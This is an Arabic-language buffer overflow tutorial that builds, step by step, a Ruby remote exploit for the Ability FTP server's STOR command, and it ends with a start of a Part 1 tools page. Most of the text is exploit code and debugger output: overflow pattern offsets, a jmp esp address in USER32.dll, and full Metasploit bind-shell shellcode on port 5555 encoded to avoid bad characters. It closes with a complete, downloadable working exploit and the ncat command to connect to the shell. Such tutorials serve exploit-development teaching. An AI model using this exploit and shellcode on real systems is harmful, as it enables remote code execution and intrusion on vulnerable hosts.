Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co
------------------------------------------------------------------------------

لنضع هذا في السكريبت وننفذه

#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabry Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR3.rb”]Download ability-STOR3.rb[/button]

لننظر إلى وضع الـ EIP Register الأن

Figure 3.1

الأن ننسخ قيمة الـ EIP و في حالتنا “42336742” ونبحث عنها من ضمن الـ Pattern الذي أرسلنا سابقا بهذه الطريقة


ruby bofk-cli.rb --pattern-offset 42336742
---[ Pattern offset ]----------------------------------------------------------
[+] Actual pattern length: 20280 chars.
[+] Matches: 1 times.

969
------------------------------------------------------------------------------

الأن عرفنا أننا نصل إلى الـ EIP بعد 969 byte.

[box style=”info”]
هناك أداتان في مشروع الميتا سبلويت تقوم بنفس ما تقوم به أداتنا لكننا نجمع الأدوات المتفرقة لتكون في مكان واحد فأحيانا لا نحتاج الميتاسبلويت برمته في عملنا إلا لهذه المهمة.

./pattern_create.rb 200


./pattern_offset.rb 42336742

[/box]

3.2. Colorizing registers

هذه الخطوة على الرغم من بساطتها إلا أنها مهمة لضمان أن عملك صحيح حتى هذه المرحلة والتي هي الفاصل للإنتقال للخطوة الهامة القادمة.
في هذه الخطوة سنقوم بإرسل 969 حرف A و نقوم بوضع BBBB في الـ EIP وبقية ال 2000 سنضعها حرف C. هذه أعتبرها تلوين للـ Registers لكي نعرف هل عملنا صحيح أم لا, هل فعلا حسبنا عنوان الـ EIP بشكل صحيح أم لا.

#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

junk = "A" * 969
eip = "B" * 4
rest = "C" * (2000 - (eip + junk).size)

buffer = junk + eip + rest

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + buffer + "\r\n", 0)
total = s.send("STOR " + buffer + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{buffer.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR4.rb”]Download ability-STOR4.rb[/button]

شكل الذكرة سيكون كالتالي

Figure 3.2

رائع,,

 

4. Find memory space for shellcode

بعد أن تأكدنا أننا نصل إلى الـEIP بنجاح جاء وقت أننا نبحث عن مكان في الذاكرة لكي نضع فيه الـ Shellcode هذا المكان الذي سيقفز إليه الـ EIP أينما كان لتنفيذ الكود الذي نريده سواء كان فتح إتصال أو إضافة مستخدم أو حتى تشغيل الألة الحاسبة 🙂

4.1. Find the proper address

هناك عدة أماكن من الممكن أنبحث فيها ويجب أن تتميز هذه الأماكن بصفات معينة سواء كلها أو بعضها لكن بعضها مهم ويجب توافره.
ماهي الأماكن والملفات التي يمكن أن نبحث فيها عن مكان لوضع الـ Shellcode
– ملفات الـ dll الخاصة بالنظام مثل: user32.dll , kernel32.dll , shell32.dll
– ملفات الـ dll الخاصة بالبرنامج إن وجدت
– ملف الـ exe الخاص بالبرنامج نفسه – يعيبه أنه يحتوي على الكثير من الـ bad characters أحيانا
ماهي الشروط التي يجب توافرها
– ألا تكون خاصية الـ ALSR مفعله
– ألا تكون خاصية الـ SafeSEH مفعلة – في حالة Direct stack لن تؤثر وتستطيع أن تهملها
– استخدام ملفات الـ dll الخاصة بالبرنامج مقدمة على استخدام ملفات النظام – لتفادي مشاكل اختلاف إصدارات النظام واللغات والتحديثات
– ألا يبدأ عنوان القفز إلى الملف بثلاثة أصفار (000) تفاديا للـ bad character – وسنعرف ما هو عنوان القفز بعد قليل

لنعرف الملفات التنفيذية التي تعمل مع عمل البرنامج اضغط على زر “e” كما في الصورة


ستظهر هذه النافذة

Figure 5a

سأختار من ضمن الملفات ملف user32.dll
والأن جاء الوقت للبحث عن المكان الذي سنضع فيه الـ shellcode ونجعل الـ EIP يقفز إليه
– إذهب إلى أسفل المنقح

و سنستخدم إضافة mona.py للبحث داخل ملف user32.dll على عنوان مناسب بتنفيذ الأمر التالي , ثم انتظر قليلا

!mona jmp -r esp -n -m USER32.dll

[box style=”tip”]
إذا أردت البحث عن jmp في جميع الملفات دون تحديد dll معين, استخدم الطريقة التالية لكن ستضطر للانتظار وقت أطول قليلا

!mona jmp -r esp -n
[/box]

– اذهب إلى الملف jmp.txt في المسار “C:\Program Files\Immunity Inc\Immunity Debugger\jmp.txt”
ستجد محتوياته تشبه هذه

0x77d8af0a : jmp esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d6b141 : call esp | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)
0x77d5aa01 : push esp # ret | {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.2180 (C:\WINDOWS\system32\USER32.dll)

سنختار العنوان الذي يسبق jmp esp وهو 0x77d8af0a

[box style=”info”]
هل تذكر عندما أشرنا في مرحلة الـ Fuzzing أننا استطعناالوصوع إلى EIP و ESP ؟ لهذا نحن بحثنا عن jmp esp ولو وجدنا أننا وصلنا إلى أي register اخر مثلا “EBX” لاستبدلنا esp به وستصبح jmp ebx.
[/box]

[box style=”tip”]
هناك طرق عديدة أخرى للقفز من مكان إلى مكان و -بإذن الله- سأشرحها في موضوع مستقل. حتى الأن أريدك أن تركز على jmp وإذا استوعبت الأمر جيدا, جرب أن تستخدم عنوان “call esp” و الذي هو 0x77d6b141 وتعيد الخطوات بداية من هنا. فقط انهي الشرح معي خطوة بخطوة ثم ارجع إلى هذه النقطة وجرب بنفسك.
[/box]

 

5. Jump to the shellcode

بعد أن عرفنا العنوان الذي سنقفز إليه في الذاكرة لكي نضع الـ Shellcode يجب أن نحوله إلى little endian character حتى هي الصيغة التي تقرأ بها معالجات Intel من الذاكرة -هناك تفصيل لهذا ولسنا بصدده- إذا كيف نحول الـ byte إلى Little endian format؟.

للتوضيح, لو كان عند 4 bytes بهذا الشكل ABCD والتي تعني \x41\x42\x43\x44 فإن صيغة الـ little endian ستكون \x44\x43\x42\x41.

للقيام بهذه العملية بشكل أسرع وبدون الوقوع في أخطاء أثناء عملنا, قمت بعمل أداة تقوم بتحول العنوان المعطى إلى little endian تجدها في أداة Buffer overflow Kit.


ruby bofk-cli.rb --hex2lend 0x77d8af0a
---[ Little endian format ]----------------------------------------------------
\x0a\xaf\xd8\x77
------------------------------------------------------------------------------

جميل, الأن لنضع هذه القيمة في الـ EIP ونرى هل سيقفز إلى هذا العنوان أم لا.
ستلاحظ أننا أضفنا في السكريبت متغيران
nop: وقيمتها \x90 وهي تعني No Operation حيث لا يقوم المعالج بعمل أي شئ خلال مروره بهذه المجموعة من البايتات و تواجدها مهم قبل الـ shellcode.
shellcode: هنا أضفنا 370 بايت من الحرف S (قيمة حرف S بالهيكسا هي \x53) وهي قيمة مقاربة لحجم الـ shellcode الحقيقي من الميتاسبلويت وسنستبلدها لاحقا بواحد حقيقي.

بعد تشغيل البرنامج و قبل أن تنفذ السكريبت قم بالبحث عن العنوان 0x77d8af0a في البرنامج وضع عنده نقطة وقوف بالطريقة التالية
– اضغط Ctrl + G وضع فيها القيمة 0x77d8af0a
– في الشاشة العلوية اليسرى, ستجد المؤشر يقف عند jmp esp. اضغط F2
الأن نفذ السكريبت


#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

junk = "A" * 969
eip = "\x0a\xaf\xd8\x77"
nop = "\x90" * 8
shellcode = "S" * 370
rest = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR5.rb”]Download ability-STOR5.rb[/button]

ستجد الوضع كالتالي:

Figure 5b

لاحظ لون الـ Breackpoint تغير وهذا يعني أننا وصلنا له بنجاح.
الأن إضغط F7 مرة واحدة وانظر ماذا سيحصل في النافذة العلوية اليسرى

Figure 5c

استمر في الضغط على F7 سترى أن الـ EIP يمشي الأن خلال الـ Shellcode وهو حرف الـ S لو نزلت بالماوس لتسرع العملية ستجد أن في نهاية حرف الـ S هناك حرف C وهي البايتات التي ذيلنا بها الexploit .

رائع!! لنبدأ إذاً في وضع Shellcode حقيقي

 

6. Generate shellcode and exploit

سنستخدم الـ metasploit shllcode من نوع Bind shell على منفذ 5555
بهذه الطريقة
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby

اغلق المنقح وشغل البرنامج لوحدة -دون إدخاله في المنقح- ضع المخرجات في السكريبت ونفذه

6.1. Generate shellcode

اذهب إلى

#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

junk = "A" * 969
eip = "\x0A\xAF\xD8\x77" # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A
nop = "\x90" * 32
shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -t ruby (size 368)
"\xba\x7f\x60\xb5\x48\xd9\xee\xd9\x74\x24\xf4\x5d\x33\xc9" +
"\xb1\x56\x31\x55\x13\x03\x55\x13\x83\xed\x83\x82\x40\xb4" +
"\x93\xca\xab\x45\x63\xad\x22\xa0\x52\xff\x51\xa0\xc6\xcf" +
"\x12\xe4\xea\xa4\x77\x1d\x79\xc8\x5f\x12\xca\x67\x86\x1d" +
"\xcb\x49\x06\xf1\x0f\xcb\xfa\x08\x43\x2b\xc2\xc2\x96\x2a" +
"\x03\x3e\x58\x7e\xdc\x34\xca\x6f\x69\x08\xd6\x8e\xbd\x06" +
"\x66\xe9\xb8\xd9\x12\x43\xc2\x09\x8a\xd8\x8c\xb1\xa1\x87" +
"\x2c\xc3\x66\xd4\x11\x8a\x03\x2f\xe1\x0d\xc5\x61\x0a\x3c" +
"\x29\x2d\x35\xf0\xa4\x2f\x71\x37\x56\x5a\x89\x4b\xeb\x5d" +
"\x4a\x31\x37\xeb\x4f\x91\xbc\x4b\xb4\x23\x11\x0d\x3f\x2f" +
"\xde\x59\x67\x2c\xe1\x8e\x13\x48\x6a\x31\xf4\xd8\x28\x16" +
"\xd0\x81\xeb\x37\x41\x6c\x5a\x47\x91\xc8\x03\xed\xd9\xfb" +
"\x50\x97\x83\x93\x95\xaa\x3b\x64\xb1\xbd\x48\x56\x1e\x16" +
"\xc7\xda\xd7\xb0\x10\x1c\xc2\x05\x8e\xe3\xec\x75\x86\x27" +
"\xb8\x25\xb0\x8e\xc0\xad\x40\x2e\x15\x61\x11\x80\xc5\xc2" +
"\xc1\x60\xb5\xaa\x0b\x6f\xea\xcb\x33\xa5\x9d\xcb\xfd\x9d" +
"\xce\xbb\xff\x21\xe5\x88\x89\xc4\x6f\xff\xdf\x5f\x07\x3d" +
"\x04\x68\xb0\x3e\x6e\xc4\x69\xa9\x26\x02\xad\xd6\xb6\x00" +
"\x9e\x7b\x1e\xc3\x54\x90\x9b\xf2\x6b\xbd\x8b\x7d\x54\x56" +
"\x41\x10\x17\xc6\x56\x39\xcf\x6b\xc4\xa6\x0f\xe5\xf5\x70" +
"\x58\xa2\xc8\x88\x0c\x5e\x72\x23\x32\xa3\xe2\x0c\xf6\x78" +
"\xd7\x93\xf7\x0d\x63\xb0\xe7\xcb\x6c\xfc\x53\x84\x3a\xaa" +
"\x0d\x62\x95\x1c\xe7\x3c\x4a\xf7\x6f\xb8\xa0\xc8\xe9\xc5" +
"\xec\xbe\x15\x77\x59\x87\x2a\xb8\x0d\x0f\x53\xa4\xad\xf0" +
"\x8e\x6c\xdd\xba\x92\xc5\x76\x63\x47\x54\x1b\x94\xb2\x9b" +
"\x22\x17\x36\x64\xd1\x07\x33\x61\x9d\x8f\xa8\x1b\x8e\x65" +
"\xce\x88\xaf\xaf"

rest = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

الأن قم بالإتصال على منفذ 5555 بهذه الطريقة
ncat -nvv 10.0.0.76 5555
ستجد النتيجة هي
Ncat: Version 6.01 ( http://nmap.org/ncat )
Ncat: Connection refused.

نعم, الShellcode لم يعمل بشكل صحيح وستجد رسالة خطأ خرجت من البرنامج. والسبب هو وجود Bad characters

6.2. Find Bad/Restricted characters

الرجاء مراجعة موضوع (قمت بتحديث الموضوع): إيجاد الـ Bad characters في الـ Shellcode
إيجاد الـ Bad Characters في الـ Shellcode

لن أعيد ماكتبته وهنا سنجرب الـ Bad characters المشهورة والتي يجب تفاديها في أي Shellcode نقوم بعمله وهذه ال characters هي “\x00\x0a\x0d”.

6.3. Real & clean shellcode

الأن, من الميتاسبلويت وبنفس الطريقة السابقة إلا أننا سنزيل الـ Bad characters الذي نريد أن نزيحها
بهذه الطريقة
./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby
مخرجاته ستكون

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

buf =
"\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" +
"\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" +
"\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" +
"\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" +
"\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" +
"\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" +
"\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" +
"\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" +
"\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" +
"\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" +
"\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" +
"\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" +
"\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" +
"\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" +
"\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" +
"\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" +
"\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" +
"\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" +
"\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" +
"\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" +
"\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" +
"\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" +
"\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" +
"\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" +
"\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" +
"\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" +
"\x04\xf0\x94\x81"

ضع هذا الShellcode في السكريبت

6.4. Exploit

الأن وأخيرا, أغلق البرنامج تماما وتأكد أنه لا يوجد أي Process تعمل للبرنامج وأعد تشغيله لوحده دون المنقح
وبعد أن وضعنا مخرجات الـ Shellcode الجديد بدون Bad characters سيكون كالتالي


#!/usr/bin/env ruby
#======================================================#
# Ability FTP server exploit #
# Security4arabs.com: Buffer Overflow tutorials #
# Coded By: Sabri Saleh - KING SABRI | @KINGSABRI #
#======================================================#
require 'socket'

junk = "A" * 969
eip = "\x0A\xAF\xD8\x77" # jmp esp 0x77D8AF0A USER32.dll | use bof-cli.rb -e 0x77D8AF0A
nop = "\x90" * 32
shellcode = #./msfpayload windows/shell_bind_tcp LPORT=5555 R | ./msfencode -a x86 -b '\x00\x0a\x0d' -t ruby (size 368)
"\xda\xd0\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1\x56\xbf\x9d\x28" +
"\xd0\x22\x83\xee\xfc\x31\x7e\x14\x03\x7e\x89\xca\x25\xde" +
"\x59\x83\xc6\x1f\x99\xf4\x4f\xfa\xa8\x26\x2b\x8e\x98\xf6" +
"\x3f\xc2\x10\x7c\x6d\xf7\xa3\xf0\xba\xf8\x04\xbe\x9c\x37" +
"\x95\x0e\x21\x9b\x55\x10\xdd\xe6\x89\xf2\xdc\x28\xdc\xf3" +
"\x19\x54\x2e\xa1\xf2\x12\x9c\x56\x76\x66\x1c\x56\x58\xec" +
"\x1c\x20\xdd\x33\xe8\x9a\xdc\x63\x40\x90\x97\x9b\xeb\xfe" +
"\x07\x9d\x38\x1d\x7b\xd4\x35\xd6\x0f\xe7\x9f\x26\xef\xd9" +
"\xdf\xe5\xce\xd5\xd2\xf4\x17\xd1\x0c\x83\x63\x21\xb1\x94" +
"\xb7\x5b\x6d\x10\x2a\xfb\xe6\x82\x8e\xfd\x2b\x54\x44\xf1" +
"\x80\x12\x02\x16\x17\xf6\x38\x22\x9c\xf9\xee\xa2\xe6\xdd" +
"\x2a\xee\xbd\x7c\x6a\x4a\x10\x80\x6c\x32\xcd\x24\xe6\xd1" +
"\x1a\x5e\xa5\xbd\xef\x6d\x56\x3e\x67\xe5\x25\x0c\x28\x5d" +
"\xa2\x3c\xa1\x7b\x35\x42\x98\x3c\xa9\xbd\x22\x3d\xe3\x79" +
"\x76\x6d\x9b\xa8\xf6\xe6\x5b\x54\x23\xa8\x0b\xfa\x9b\x09" +
"\xfc\xba\x4b\xe2\x16\x35\xb4\x12\x19\x9f\xc3\x14\xd7\xfb" +
"\x80\xf2\x1a\xfc\x33\xb0\x92\x1a\x51\xa6\xf2\xb5\xcd\x04" +
"\x21\x0e\x6a\x76\x03\x22\x23\xe0\x1b\x2c\xf3\x0f\x9c\x7a" +
"\x50\xa3\x34\xed\x22\xaf\x80\x0c\x35\xfa\xa0\x47\x0e\x6d" +
"\x3a\x36\xdd\x0f\x3b\x13\xb5\xac\xae\xf8\x45\xba\xd2\x56" +
"\x12\xeb\x25\xaf\xf6\x01\x1f\x19\xe4\xdb\xf9\x62\xac\x07" +
"\x3a\x6c\x2d\xc5\x06\x4a\x3d\x13\x86\xd6\x69\xcb\xd1\x80" +
"\xc7\xad\x8b\x62\xb1\x67\x67\x2d\x55\xf1\x4b\xee\x23\xfe" +
"\x81\x98\xcb\x4f\x7c\xdd\xf4\x60\xe8\xe9\x8d\x9c\x88\x16" +
"\x44\x25\xb8\x5c\xc4\x0c\x51\x39\x9d\x0c\x3c\xba\x48\x52" +
"\x39\x39\x78\x2b\xbe\x21\x09\x2e\xfa\xe5\xe2\x42\x93\x83" +
"\x04\xf0\x94\x81"

rest = "C" * (2000 - (junk + eip + nop + shellcode).size)

exploit = junk + eip + nop + shellcode + rest

#-- Connection --#
host = '10.0.0.76'
port = 21
s = TCPSocket.open(host, port)
s.recv(1024)
puts "[+] " + "Sending Username."
s.send("USER ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Password."
s.send("PASS ftp\r\n", 0)
s.recv(1024)
puts "[+] " + "Sending Evil buffer."
s.send("STOR " + exploit + "\r\n", 0)
total = s.send("STOR " + exploit + "\r\n", 0)
s.close

#-- Exploit Info --#
puts "---------------------"
puts "[+] " + "Buffer length: " + "#{exploit.size} bytes."
puts "[+] " + "Total exploit size: " + "#{total} bytes."
puts "[+] " + "Done!"

[button size=”small” color=”blue” url=”http://www.security4arabs.com/files/bof-tut/Part2/files/Ability-STOR/ability-STOR6.rb”]Download ability-STOR6.rb[/button]

نفذ الـ Exploit ثم اتصل على الجهاز الهدف على منفذ 5555

ncat -nvv 10.0.0.76 5555

Figure 6

 

Demonstration

في النهاية, هذا فيدو توضيعي لكل ما تم عمله سابقا بشكل سريع.

 
 

تحياتي واحترامي

Buffer Overflow tutorial – Part 1: Tools

[toc]

 
 

مقدمة

سأسرد لكم بعض أهم الأدوات المستخدمة في عملية اكتشاف وكتابة استغلال ثغرات الـ Buffer Overflow. بالطبع هذه الأدوات ليست الوحيدة ولكنها الأشمل والأشهر. إذا رأيت أن هناك أداة مهمة تستحق أن تضاف إلى هذه القائمة الرجاء ذكرها في التعليقات.

 

تثبيت Ruby 1.9.3 على أوبونتو

تثبيت Ruby 1.9.3 على أوبونتو apt-get -y install ruby1.9.1-full جعل الإصدار 1.9.3 هو الإصدار الافتراضي update-alternatives --config ruby

